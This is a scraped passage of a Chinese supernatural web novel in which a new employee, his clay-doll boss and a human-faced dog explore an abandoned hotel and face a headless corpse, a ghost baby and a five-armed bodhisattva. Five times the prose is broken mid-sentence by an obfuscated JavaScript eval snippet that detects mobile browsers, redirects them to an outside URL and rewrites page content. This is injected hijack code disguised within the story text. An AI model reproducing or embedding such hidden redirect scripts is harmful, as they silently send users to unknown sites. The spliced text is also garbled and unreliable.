林书渝沉默了一会,随即带着几分抗拒开口:“为什么?” “因为这是员工福利——每个员工身边都有老板我的分身哦。怎么样,有没有觉得很感动?”哒哒哒的几声,泥偶往前凑了些,黑豆眼中盛满了期待。当然,林书渝更愿意称之为资本家的恶趣味。 打工人拒绝回答这个问题,直接越过泥偶关上了灯,试图用入睡前的时间去消化今后自己身边都会常驻老板的消息。 很显然,这不是一个晚上就能消化完毕的事。当听到闹铃声从床上坐起时,林书渝看着和自己大眼瞪小眼的老板,突然发现失业也不是不能接受。 “鱼鱼,你醒啦。”还没等林书渝想出一个不尴尬的打招呼方式,泥偶就主动道了声早安,“现在可以给你介绍任务目标了吗?” “……鱼鱼?”林书渝缓缓地重复了一遍这个称呼,“你从哪里学的?” “哦,这个啊,你的姐姐五分钟前来敲过一次门。我一听到这个称呼就觉得非常适合快速拉近我们的关系,于是便采用了。”泥偶理直气壮地说道。 林书渝张了张嘴,很想说些什么,但最后还是把嘴闭上,默默掀开被子去换衣服。 算了,想想五十万的月薪,老板爱叫什么就叫什么吧。 换衣服和洗漱一般会同步进行,林书渝牙膏挤到一半,一道小巧的黑影就鬼一样出现在了玻璃门外。 “鱼鱼,我可以开始讲无头尸的故事了吗?” 再一抬头,姐姐那张熟悉的脸在镜子里和他面面相觑,对方甚至向他打了声招呼:“鱼鱼,早安呀。” 被鬼包围的林书渝停顿三秒,也抬起了手:“早安。” 然后,他面无表情地扯下了镜子上方的百叶帘,继续进行自己平淡的洗漱工作。 门外,没有得到理会的老板自发开始了讲故事大业:“有关于神秘鬼影是一具无头尸的传言从上个月起突然在本地社区中兴起,尤其是学生群体。不少去过兴成大酒店探险的人都声称自己看到了无头尸的真面目,但遗憾的是,至今没有人能给出清晰的照片。” “既然能成为我的任务,那么这则传闻应该是真的了。”林书渝一心二用,一边接话一边猛敲三下突然冒血水的水龙头,“所以我要做什么?除掉它?” “倒也没有这么高难度,毕竟只是入职教导任务嘛。”泥偶用头撞了一下门板,“你需要做的是拍到无头尸的正面照,顺便整理它的相关情报,归入档案。后续工作会有同事来接替。” “明白了。” 林书渝拿起毛巾,忽然想到了什么。 “对了——可以让家里人协助工作吗?” ………… 过了早高峰,郊区的街道上可以说是人烟稀少。黑发青年戴着口罩,将脸遮住大半,手中臂力惊人地提着个巨大的狗包,让路人纷纷侧目。 泥偶缩在林书渝的卫衣帽子里,充当实时导航的作用:“过了这条路再右转就是兴成大酒店的后门,由保安亭沿着墙走九步有个缺口,可以从那里翻进去。” “真没想到在离开校园后我居然还有要翻墙的这天。”林书渝借着口罩的遮挡,低声吐槽道。 毕竟是废弃建筑物,又发生过命案,越靠近兴成大酒店的遗址,两边的街道就越荒凉,就像是所有商铺也跟着酒店的生意一起黄了。 由于不怕死来探险的人实在太多,街道办意思意思在门口处拦了一下。但林书渝按照指示找到围墙的缺口后往回看了眼,发现这个明显的漏洞与路障构成了笔直的平行线,只要不是瞎子,基本上都能看见。 泥偶看着他欲言又止、止言又欲的表情,也不知道有意还是无意,说出了一番相当辛辣的话语:“探灵冒险勉强也能算是旅游业嘛,可以理解。” 林书渝不由得高看了他一眼,由衷道:“有时我觉得你真的很会说话。” 这种看似在说场面话,实则在冷嘲热讽的说话艺术他已憧憬许久,只可惜到现在都没有掌握。 插科打浑的环节在林书渝从围墙上落下的那一刻结束。这个位置正对的是地下车库的入口,虽说仅是荒废了两年的时光,水泥地与砖墙就斑驳到了令人难以置信的地步,不知是谁搬进来的红色油漆桶零零散散的滚落在地上,干涸的颜料呈现出富有光泽的红褐色。 林书渝只是扫一眼就知道里头装的是什么:“鸡血?这是哪个探灵博主留下来的?” 泥偶落到他的肩膀上,紧紧贴着他的脖颈:“鱼鱼怎么什么都认得?” “血很好认,光拿眼睛看都能看出来。”林书渝不太习惯泥偶表面粗糙的触感,伸手将老板往旁边拨开了些。 “你看,红褐色,蜡油凝固一样的质感,再闻一闻味道就知道了。” 很多探灵博主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152187|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了制造噱头都会做一点手脚来增添节目效果,林书渝找到消防门的位置,一拉开,铺天盖地都是和刚才一样的红褐色。 大片大片的鸡血被泼在墙面与地板上,还故意营造出了溅射感,像是有谁在这里被活生生拧断了脖子。足够惊悚,如果出现在探灵视频中是绝对的感官刺激。但在林书渝眼里,这副场景有点宣扬浪费食物的意味。 手里的狗包晃动起来,林书渝这才想起自己手里还有条狗,找了块勉强干净的台阶将面面放了出来。 今天的面面吸取了昨天的教训,顶着一张可爱的孩童脸和主人道的早安。只不过,这张脸对它来说太小了些,在做出嗅闻动作时鼻头的皮肉紧紧缩在一块,显得有些面目可憎。 不知道在这里呆了多久的鸡血已经腐败,嗅觉敏感的面面不喜欢这股腥臭味,绕到林书渝的后方轻轻拱了拱他的后腿。 “好了,我们上去吧。”黑发青年收回放在栏杆上的手,不动声色地用摸狗的动作擦干净了手上的粘腻。 根据各处有关于这则传闻的留言,无头尸经常在五楼出没,也就是当时命案发生的楼层。荒废的酒店里自然不会有电,有些狭窄的楼道中就只有手电筒一个光源,伴随着林书渝前进的脚步摇摇晃晃。 三楼、四楼、五楼。 在标示牌上的数字变成“5”时,手电筒的灯光也终于固定下来,照映在那扇布满了污渍的门上。很显然,这里也成了探灵博主设置惊吓点的重灾区。 林书渝望着粘腻腻的门把手,做了个深呼吸,用了三秒钟才将手放到了那上面。在皮肤冰冷的金属接触的那一刻,他愣了愣,一时间都忘记了对脏污的厌恶。 ……湿润的。 林书渝缓缓将手抬起,食指与拇指合并又分开,与半空中拉出一条黏腻的血丝。 血液在离开人体二十分钟后就会彻底固化,这就说明,门把手上的这些血是在二十分钟内沾上的。楼梯台阶上的灰尘有一定厚度,没有脚印,说明不会是先他一步进来的探灵博主。 手电筒的灯光凑近了些,林书渝将手伸出,比划了一下门把手上的轮廓。得益于血液的新鲜,还没氧化彻底的艳红与下方的血垢形成了鲜明对比。 四根手指……对上了。林书渝又做了个弯曲手指下压的动作,确定心中的猜测后默默将手缩了回来。 ——门把手上的血液轮廓,和人类常用的四指下压开门的动作相符合。 一个手上沾满血的人,或者说是人形生物在二十分钟之内通过这扇门进入到了第五层……说实在的,这并不是个好兆头。 做好开门撞鬼的准备,林书渝重新按下了门把手,用力将年久失修的消防门拉开。 吱呀——生锈的承轴发出令人牙酸的声音,手电筒突破门板的阻拦照入走廊,也同样照出了墙面上的东西。林书渝双眼微微睁大,过了半晌才往前踏出一步。 门后的走廊里贴满了报纸:不只是墙面,地板、废弃的椅子、天花板、包括吊灯,都被报纸所占据。密密麻麻,一张接着一张交叠在一起。 而这些报纸上的头条新闻无一例外都是同一张图片: ——被白布包裹的头颅端放在桌上,像是在用褶皱微笑。 5. 开门撞鬼 好消息,开门并没有撞鬼。 坏消息,一推开门就是鬼故事现场。 黑白色的新闻照让整条走廊恍若灵堂,落在上面的手电筒灯光充当着祭拜的油灯。林书渝用后脚跟磨了磨地面——很黏稠,像沾满了油脂。 面面低下头去,在这些报纸上闻了闻了,从喉间发出警惕的咆哮声。林书渝安抚性地摸了两下狗头,将手电筒移向墙面。 入目是占据了整个版面的照片,随后就是成团状晕开的蜡黄色油渍。黑发青年走上前去,指腹轻轻刮过纸张表面,若有所思地抬起头。 微弱的光线被天花板反射过来,让走廊都亮堂了些——这显然不是普通报纸可以达到的效果。 “这些都是油纸。”林书渝控制着手电筒光线从左到右扫过,说出了令人费解的话语,“这会让我觉得我们像即将被人买走的肉。” 泥偶诧异地抬头:“怎么说?” “菜市场里的肉都会躺在油纸上,等待别人来把它挑走、随后被摊主拿起来包在油纸里卖出。换个老派点的摊主,下面垫着的就是这种二次利用的老报纸。” 黑发青年抬起头,看向熄灭的灯。 “还差个红色的灯让肉看上去更新鲜——啊,真的来了。” 密闭走廊中阴风四起,红澄澄的灯光倾泻而下,让那些涂了桐油的报纸显得越发粘腻。立于报纸之间的黑发青年成为了光线的中心,淋浴着四方八方投来的恶意与贪欲。 咔哒。手电筒按钮摁动的声音响起,鲜红的灯光仿佛找到了目标,于一瞬间锁定在青年的身上,如同怪物的视线具像化。 与此同时,手电简发出的耀眼白光硬生生从一片红光里破出一条路来,直直照亮了走廊尽头的无头黑影。 “你要的无头尸。”林书渝平静地从口袋里掏出了手机,“需要我现在就拍几张吗?” 泥偶要被他气笑了,提高声音在他耳边喊道:“还拍什么照?快跑!” 他的话音刚落,人面狗便从喉间发出一声低吼,毫不犹豫地叼着主人的裤腿将其向前扯。无头黑影紧贴着墙,一动不动,像是根本没有看到盛放在油纸红光间的“肉”。 林书渝还保持着平持手电筒的姿势,若有所思地瞥了眼圆柱形的白色光线,向后退了一步。 鞋底与纸面摩擦,发出沙沙的声响。无头尸无知无觉,如果不是对方拥有着立体的影子,林书渝或许会怀疑一下那是不是“前人”留下的吓人小机关。 原先还在急躁的人面狗似乎也明白了什么,缓缓松开了叼着衣物的嘴,林书渝微微弯腰揉了把狗头,低声叮嘱:“面面,带我到门那里去。” 面面是条聪明的狗,也有可能是今天更换的年轻面庞赐予了它更加灵活好用的大脑,它很快便按照主人的命令完美执行。 林书渝上半身保持静止,下半身则根据人面狗的指示,一步接一步地朝来时的方向退去。在他的后脚跟与门板贴上的那一刻,头顶的红光一闪,蕴含的情绪已然为了暴怒。 青年背在身后的手果断向下压,伴随着门把手转动的声音,一人一狗迅速退至门外,用力关上了门! 咚!门板被什么东西狠狠撞上,连带着半张墙面都震动起来。上方松散的沙石簇簇落下,林书渝来不及清理自己遭殃的衣服,一个侧身将堆积于楼梯间的油桶踢倒,转身朝楼上跑去。 泥偶紧紧扒着他的领子,有些震惊地望着他前进的方向:“你疯了?为什么要往上?” “这家酒店之所以这么快破产,不只是因为无头尸的传闻。“林书渝的声音在跑动时依旧平稳,“韶山市每年都会进行消防隐患大排查,而兴成大酒店当年被爆出九楼未端的安全通道居然有道暗门,连通着一间总统套房。” 无头尸没有头部,自然也看不了报纸,不知道暗门的存在。比起和一具尸体向下赛跑,倒不如另找出路。 震耳欲聋的破门声响起,随即是油桶被暴力推开的刺耳响声。铁质栏杆被拍得哐哐作响,隐约能听得出这是某种生物在手脚并用沿着栏杆往上爬。 比起障碍物重重的昏暗台阶,显然这一条路要更快些,很难想象如果一开始选择向下跑会是怎么样的画面。林书渝听着穷追不舍的爬行声,少见地流露出了烦躁。 “啧。”他瞥了眼楼层数,干脆转身将手电筒放在了扶手拐角处,一把扯出卫衣的绳子,快速绕上几圈,将其绑在了扶手之上。 固定不了多久,但应该足够他跑到九楼了。 “你刚刚是不是咋嘴了?“危急之中,泥偶敏锐地抓到了这诡异的重点,颇为新奇地问道。 林书渝不是很想搭理他,一个转身将泥偶甩进兜帽深处。 被员工无情“霸凌”的老板东倒西歪地爬出来:“九楼了鱼鱼——唉?怎么没有门呀?” 林书渝听着这充满着阴阳怪气的声音,勉强压下谋杀老板的冲动,踏入了九楼的走廊。 失去了强光手电筒,只凭借着手机灯光,房间上的门牌有些难以辨认。林书渝眯起眼睛快速扫视两侧,在走廊上响起第二道脚步声时终于找到了条新闻中瞥到过的安全通道。 没有头颅的黑影不断逼近,林书渝算好距离,于无头尸到来的前一刻向后一倒,沉入了暗门之中。 浓烈的香熏味传来,每次呼吸都感觉呼吸道在颤抖。林书渝皱了皱眉,把手机转向了脚下——密道的事被爆出来后,这里似乎被自暴自弃的酒店老板当成了余货倾倒处,没用完的香薰和精油胡乱放在一块,把整条通道都腌入味了。 人面狗受不了这呛鼻子的香味,不停拿前爪去搓着自己的鼻子。林书渝也讨厌这味道,但还是叫停了它的动作:“面面,别搓,小心把鼻子蹭掉了。” 面面委屈地看了他一眼,听话不动了。 “别说狗了,连我待久了鼻子都要香掉了。”泥偶从兜帽里飞出来,抱怨道。 林书渝对他的说法提出质疑:“你有鼻子?” 怒他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152188|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直言,他没办法从那简笔画的脸上看出任何与鼻子这个器官有关的地方。 泥偶:“……鱼鱼,你有时候说话真的很伤人。” 有关鼻子的话题先告一段落,现在的当务之急是观察无头尸的行踪。密道的用料实在,林书渝侧耳听了半天也没能听出半点动静。 “没办法,得往套房那边走。” 林书渝踢开地上的玻璃罐,朝深处看去。 最起码贴着木门和地板还能听到点走廊的声响…… 越往里走,香味就越浓,到了后头简直要到呼吸困难的程度。但古怪的是,道路两边的香薰和精油反而少了许多,和这浓郁的香味并不匹配。 林书渝的眉头从进来开始就没松开过,而在推开通往套房的暗门时,想要立刻开窗通风的心到达了顶峰——房间里堆满了精油,大开的玻璃瓶滚落一地,连地毯都被浸染到看不出原来的颜色。 这是把往后十年的精油都堆在这里了吧?林书渝用脚轻轻挪开路上的障碍物,于心中点评道。 进到这来之后泥偶就从他身上飞离,此时绕着房间飞了三圈,发出了一声疑惑的气音。 “咦?这房间怎么修得像个庙似的?” 林书渝抬头:“只是形状四四方方的话不能被称之为庙。” “不不不,我指的不是形状——你看。” 地毯上的玻璃瓶沿着泥偶的飞行路线左右分开,形成狭窄的小路。踢了半天瓶子的黑发青年默了默,叹了口气,还是踏了上去。 房间的布局着实是有些古怪:两个次卧于东西两端相对,最里端则是主卧;玄关前不知为何做了个隔断,隔开了正正好与主人门相对的大门。泥偶知道他已经看了端倪,便施施然落到他的肩膀上,开始将两者一一对应。 “东西是侧殿,主殿门与大门同一线……那按理来说,我们站着的正好是供香的地方。”像是想起了什么,泥偶面上的线条弯起,勾勒出一抹笑来,“你猜,那沙发后头会不会有个大香炉?” “别笑了,有点吓人。”林书渝顿了一下,到底顾及自己打工人的身份,又加上了一句,“我是说,在这种氛围里。” 他的老板笑容逐渐变淡,不可思议地看向了顶着张让人犯恐怖谷效应的婴儿脸的大狗,发出了谴责:“你的狗不比我吓人多了?” 林书渝淡定弯腰,摸摸人面狗青白的面庞:“哦,看习惯了。” 至少比昨天那张老人脸好多了。 泥偶的嘴角完全垂了来,连带着斗蓬颜色都黯淡几分,员工义务里没有保障老板心情这一条,于是林书渝自顾自地继续拨开周围的罐子,来到沙发前,一把掀开了上面的防尘布—— 尘土飞扬,却不仅仅是灰尘。青年手中的布落下,扬起的风让黑暗中的细小火光更加旺盛。香灰混杂着烛油的味道扑面而来,甚至压过了呛人的香熏。 “你说错了,香炉不在沙发前面。”林书渝垂眸,客观陈述,“沙发就是香炉。” 6. 有神拜神,没神拜鬼 皮质沙发上铺着厚厚一层香灰,根据那些燃剩的香把,可以看出这张沙发不务正业已然有些年头。正中央位置,三柱香烧得正旺,腥红的光点时明时暗,如同在有规律的呼吸。 “三根敬神,四根敬鬼——好消息,不是供那无头尸的。”林书渝不合时宜地说了个不好笑的笑话。 泥偶凉凉地开口:“那你要不要打开主卧的大门,和里头供着的不知名神像打个招呼?” 林书渝瞥了一眼他:“你好没有幽默感。” “……这不是有没有幽默感的问题!”泥偶咬牙切齿道,“我并不想替入职刚满一天的员工领取保险赔偿!” 还是伤残赔偿金起步的那种! “多好,有些人一辈子都用不上保险呢。”林书渝又说了个地狱笑话。 玩笑归玩笑,林书渝还不至于平白无故跑去送死,他的目标对象只有无头尸,废弃酒店里的诡异供奉与他无关。 “冒犯了。”他真诚地道了个歉,很贴心地将白布盖了回去。 探索过程中突然冒出来个支线任务,但林书渝好歹没忘记自己来这里的主要目的,紧贴着门闭眼聆听半晌,又从猫眼向外看了看,外头一片寂静。 ——无头尸大概率已经离开这一层了。 酒店房间门大部分都能从内部打开,林书渝试探着下压门把手,果然顺利的一按到底。 “你接下来有什么打算?”在林书渝打开手机手电筒的空档中,泥偶凑到他耳边问道。 “你说这话好像那种不负责任的老板,选择让员工自己策划所有工作。“林书渝开始往楼梯口走,“当然,大部分老板都这样。” 毕竟人不能强求资本家下场干活。 泥偶又不说话了,赌气般闭上了嘴。 下到楼梯间,林书渝就噤了声。他的目的地还是四楼,不过这一次换了个门进去,力求拍到照片后顺利下班回家。 人总是留恋出生地——这句话换成死亡地也恰当。没猜错的话,无头尸无论如何都会回四楼去。所以严格意义上来说,那块大型生鲜肉贩卖点是无头尸给自己搭的窝。 嗯……听上去审美堪忧。 好在委托金并不和照片美感挂钩,无头尸的审美他无需干涉。怀抱着一颗对下班渴望的心,林书渝看见那条红澄澄的走廊时都觉得亲切不少。 没有了报纸的遮盖,老化的墙体与脏污的地板一览无余,扶墙前进的林书渝摁了摁墙面的鼓包,在指尖泛上潮意后收回了手。 门牌把光线反射回来,在红光的衬托下清晰了些。在扫过某个数字时,林书渝脚步一顿,忽然想到了什么,戳了戳肩上的泥偶。 “无头尸当初是在哪个房间里遇害的?” “417号房,不过案发后就被水泥封起来了。” “那就糟糕了。“黑发青年指向正前方大开的房门,抬高的门槛后是熟悉的细小红光,“你说,那会是什么?” 叮! 用尽的精油瓶从顶端滚落,发出清脆的声响,一路滚到了林书渝的脚边。 在红光之下,瓶里挂壁的油渍材质似乎起了些微妙的变化——米黄色、半固体,像是某种动物的油脂。半旧的门牌号码下方是紧紧贴在一起的两条对联,红底金字,喜庆异常。 房间中,沙发上的白布不翼而飞,只留下三支将近燃尽的香。玄关的小门与主卧门正对,借着泄进去的红光,林书渝看到了那条微张开的门缝,光是一眼,寒意就攀爬上了脊骨。他不敢再看,赶紧收回了视线。 “要记录吗?”在这种情况下,林书渝还没忘记委托金的事,“实际危险度与告知危险度不一致,是不是可以要求加钱?” 泥偶这下是真的被气笑了:“回去我给你补贴双倍工资——先撒,现在就算和无头尸贴脸都比待在这里安全。” 林书渝无奈地叹了口气,转身砸开了墙上的应急消防工具箱。 “如果是两个麻烦一起来呢?” 说完,他毫不犹豫地将消防斧打横举过头顶,双手用力将从上方跳下的黑影甩了出去!无头尸重重摔倒在地,腐烂的身体在地板上拖出暗红的痕迹。 林书渝于在它爬起来前果断掏出手机猛拍十几张,紧接着一个下劈,斧刃深深砍入无头尸的身体,硬生生将其压回了地面。 泥偶这才反应过来方才发生了什么,震惊道:“你怎么发现这家伙的?” “喔,我视力从小就好,尤其在晚上。”林书渝平淡地给出答复,用力把斧头扯了出来。不得不说,消防斧的质量确实好,无头尸半个肩膀都快断了,刃口居然还完好无损。 早拿到这东西多好。林书渝于心中遗憾道。 尸体没有痛觉,方才还被砍倒在地的无头尸挣扎着爬起,以极其扭曲的姿势重新扑来。一道白影闪过,人面狗面目狰狞地咬住它的后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152189|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿,藏起的利齿完全暴露出来,在脸频两侧时拉开细长的缝隙。 林书渝趁机补了一斧头,将无头尸的背砍得稀巴烂,望着无头尸空荡荡的脖子,有些苦恼。 一般来说怪物的弱点都是脖子,可这原先就没有头的要怎么办? 没有头,也就意味着弱点更难寻找。腿骨在人面狗的利齿咬合下发出不堪重负的响声,无头尸如同一条脱水的鱼那般翻滚着试图爬起,可每次快成功时,背上又会挨一斧,迫不得已趴回去。 在这样起起伏伏几个来回后,无头尸终于愤怒了,四肢猛然蜷缩起来,歪歪倒倒地向前爬行,关节发出令人牙酸的咔咔声。林书渝谨慎地后退两步,刚要对准无头尸剩下的半截脖子砍下去,就感到有一股阴冷的风抚过脸庞。 冰冷的、轻柔的,末尾还有几分刺痛,就像一只留着长指甲的手漫不经心地划过他的皮肤。 走廊中的所有生物忽然定格在了这一瞬间,林书渝缓缓放下斧子,看向了房门内。 ——那三柱香不知从何时起熄灭了。 有事求神,当香火长燃。若香灭了,则心不诚。 皮肉与地面摩擦的声音传来,无头尸的四肢于地面疯狂划动,拼尽全力想要扯开人面狗的束缚,向消防通道逃离。就算没有头颅,林书渝也能清晰地从它身上感到名为“恐惧”的情绪。 在极端恐惧中,无头尸抛去了一切思考,只留下生物的本能驱使着它操控四肢,如同一只野兽那样四肢着地爬行。只可惜,香已经灭了。 既然灭了,也没有复燃的道理。 “呜哇——” 尖锐的婴儿哭声响起,无头尸的动作也随之停滞在了原地,全身剧烈颤抖起来。一种不祥的预感爬上心头,林书渝眉头紧皱,向着人面狗大声呼唤:“面面!快回来!” 在人面狗松开嘴的那一刻,无头尸腰腹弹起,脊椎弯曲成超越生物极限的弧度,扑腾着将身子翻了过来,变成仰躺的姿势。紧接着,那破烂的衣物开始蠕动起来,一下又一下,冒出簇簇凸起! 没有头颅的无头尸无法发出嘶吼,只能用干枯的四肢用力拍击地面,于地板上留下腥臭的液体。衣物凸起的弧度越来越大,仿佛有生命急切地想要破腹而出。 衣物终于被掀开了一角,在这一瞬,林书渝瞥见被撑成薄薄一片的焦黑肚皮上所显现出来的形状—— 那是一只婴儿的手。 7. 菩萨 一颗正在跳动的东西隐没在尸体腐烂溃败的血肉里,像是一颗还“活着”的心脏。隔着被撑开的肚皮,可以清晰地看到里头胎儿的轮廓。 走廊中回荡着阵阵婴儿哭声,每哭一次,无头尸腹部的起伏就越发狰狞可怕。婴儿的五指拉扯皮肉,一掌一掌,撑起高耸的凸起,仿佛下一秒就能活生生破开血肉钻出来。 人面狗已然回到了主人的身前,伏下身子呈现出警惕状,呲着牙发出低沉的吼声。林书渝一脚将房门踹回去,捞起狗就朝着楼梯口跑。 就算是个傻子也知道那无头尸肚子里头不可能是什么好招惹的东西! “兴成大酒店案子的受害人不是男姓吗?”林书渝努力维持平和的语气,但还是暴露出了几分咬牙切齿的意味,“那现在它肚子里头的又是什么?” “之前的情报里没有提过这个——可能你其实被产婆祝福过呢。”泥偶试图活跃一下氛围。 “……再不想想办法,我就要被孟婆祝福了!” 黑发青年将通往楼梯的门撞开,在看到门后那熟悉的沙发香炉时一个反手又把门死死关紧,眯起眼睛看向另一条走廊的安全通道——那扇门的门缝里也带着不妙的红光。 很显然,那个即将出生的孩子不是很想他走,热情地邀请他留下来参加出生宴。 最简单的路被切断,林书渝听着朝他逐渐靠近的哭声,于短短几秒内做出了决策。 哐!消防斧狠狠劈入门板,报废的门锁弹出,垂在半空中半死不活。泥偶差点被林书渝的大转身甩出去,赶紧抓紧了他的衣领。 “你要做什么?” 又是一斧落下,房门已经彻底打开。林书渝一边向着洗手间冲,一边抽空回答了这个问题: “当然是找另一条路出去——姐姐!” 伴随着这声呼唤,镜面如水一般晃开,一双苍白的手从中伸出,抓住了青年的双臂。林书渝完全放松,主动配合着沉进了镜子之中。 像是没入了一池潭水,在透骨的阴冷感扫过全身后,林书渝双脚稳稳触地,缓缓睁开了眼睛。 周围一片红艳。红绳从槐树上垂下,落到地面上蜿蜒成柔软的地毯。完成任务的镜鬼飘回中央的竹椅上,端起未完成的绣盘继续细化。只不过,要是仔细看就会发现她的动作略显单板,像是只依靠着本能活动。 “……姐姐过不来。”林书渝望着眼眶里一片漆黑的[林昭],揉了揉太阳穴,“这只是她放在我身上的一张皮。如果正常的话,姐姐的本体会直接替换过来。” 这也说明外头那个被供起来的不具名神像比姐姐要强上很多……没法硬碰硬,有些麻烦。 泥偶看看他,又看看镜鬼的那张皮,语气微妙:“寻常镜鬼三年才能制成一张皮,你姐姐可真是护你护得紧。” 林书渝面无表情地瞥了一眼黑心资本家,凉凉地说道:“要是你这个老板能尽到保护员工的责任,我也用不着这样。” 既然外头的鬼进不来,那里头的人自然也没法用这个法子出去。 林书渝走到槐树下,轻轻拨开覆盖在树干上的红绳。槐树皮狰狞的纹路之间正正好镶嵌着一面铜镜,但在林书渝看过去时,里头却并没有倒映出他的脸,只有一片漆黑——这是镜子外的场景。 “老板。”认真观察那片黑暗许久后,林书渝扭头,对着还在观察镜鬼皮的泥偶说道,“你觉得那无头尸肚子里头会是什么东西?” “除了鬼婴还能是什么?”泥偶暂时停止了飞动,“你不是最熟这个了吗?” 要知道,林书渝三小时前还在和他的鬼婴弟弟吃早餐呢。 黑发青年却是摇了摇头,否定了这个答案。 “不太像……它的气息和念念不一样。” 比起怀着对无法出生的痛恨而化为怨灵的鬼婴,无头尸腹中那只即将爬出来的东西,更像是吸够了血肉的寄生物。 想到这里,林书渝叹了口气:他们可真是赶上了个好时候,早不来晚不来,偏挑着人家“出生”的好日子来。 但无论是不是鬼婴,在走完全套流程之前总会有个寄体。而这个寄体……往往是它们最大的弱点。 心中已经定好目的地,林书渝将铜镜取下来,放到了[林昭]的绣盘上,半蹲于她身旁。 “姐姐,帮帮我。”他低声说道。 镜鬼木然的表情忽然染上几分神彩,微笑着摸了摸弟弟的头顶,如同一抹飘渺的影子沉入了镜面中。失去了主人的镜中空间开始剧烈摇晃起来,红绳于半空中一截又一截地断开,地面像被打碎的镜子那般开裂! 身周的一切都蒙上了一层诡谲而过度鲜艳的色块,林书渝眯着眼睛分辨每一块色彩的形状,在捕捉到一抹红色时义无反顾地跳了下去! 咚!重物落地的声音响起。林书渝一个侧滚翻从地面爬起,找到那甩到一旁的消防斧,精确无误地在暗红的光线中定位到了目标房间。 尖厉的哭声从拐角处传来,中间混杂着镜鬼幽幽的歌声。走廊因为过于激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152190|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈的打斗而颤动着,挂画的画框反复拍打墙面,恍若灾难片的拍摄现场。 林书渝没有回头,凭借着记忆中的路线于满地狼籍中穿棱,门牌号上的数字伴随着他的步伐不断增大。终于,在门牌号回归最初的417时,他一转方向,直直冲了进去! 左侧没有,右侧也没有……林书渝将踹门的腿收回,看向了主卧。 ——那就是在主卧里。 门锁在消防斧的劈砍下化为了一地的碎片,门板向后敞开,露出后方孤零零的贡台。牌位上的字已然模糊不清,而正前方,小小的骨灰坛中盛放着一副焦黑的婴儿骸骨。 外面那些供奉的都是这只鬼婴?林书渝愣了愣,下意识将这个板上钉钉的结论打上了一个不确定的问号,但陡然凄厉起来的婴儿哭声却由不得他继续思考下去。下一秒,青年举起斧头,对准骨灰坛狠狠劈了下去! 陶瓷破裂,连带着里头的骸骨也被一分为二。震耳欲聋的尖啸声响彻整条走廊,林书渝眼前猛然一黑,勉强扶住贡台稳住了自己的身体,不至于直接倒地。 视野一片朦胧,腥红的线条与飞蚊般的黑点打散又重组,化为一张又一张向他扑来的鬼脸。林书渝无力地撑着台面使自己站起,在不经意扫到牌位时不可思议地睁大了眼睛——原先像受潮而晕开的字不知为何又清晰起来,赫然刻着一个不可能的名字: [吕明远,享年一岁] ……是兴成大酒店杀人案的那个受害者,也就是那具无头尸的名字。 阵阵眩晕感传来,黑发青年的脸苍白到了极致,让人看见就忍不住拨打急救电话。有谁在焦急地呼唤着他的名字,但被耳鸣盖住,不甚明晰。林书渝死死按住太阳穴,顺着贡台瘫坐在地,胸膛剧烈起伏,试图用呼吸唤回理智。 前额传来尖锐的痛感,他恍然抬起头,看见了艳红的指甲、垂下的白绸、和一张慈眉善目的脸。 有着四只手臂的菩萨立于他身前,其中一只伸到他的额上,轻轻点在他的眉心。一种阴冷的、透骨的寒意顺着那枚狭长的红指甲传到林书渝的全身,让他控制不住打了个寒颤。 他眯着眼睛,勉力仰起脸来,看清了菩萨的面庞。有着柔和眉眼的菩萨身披白绸,发间五抹红色若隐若现,令人心生探究。 察觉到青年的视线,菩萨低下头来,也让那五抹红色展露出了全貌——那是五片艳红的、与其它手别无二致的指甲。 林书渝恍然大悟。 这尊菩萨,原来有五只手。 8. 不速之客 在看清菩萨那从背后伸出、屈起扣在头顶的手后,林书渝发觉耳边的嗡鸣声逐渐退去,取而代之的,是一段虔诚的、急切的祷告。 “恳请娘娘怜我幼子无辜横死他乡之祸……” 眼前虚幻的白绸似乎逐渐凝实起来,柔软的线条染上几分石像的冷硬。坐于竹篮之中的菩萨垂眸,慈悲地捧起了“他”怀中的骨灰坛。 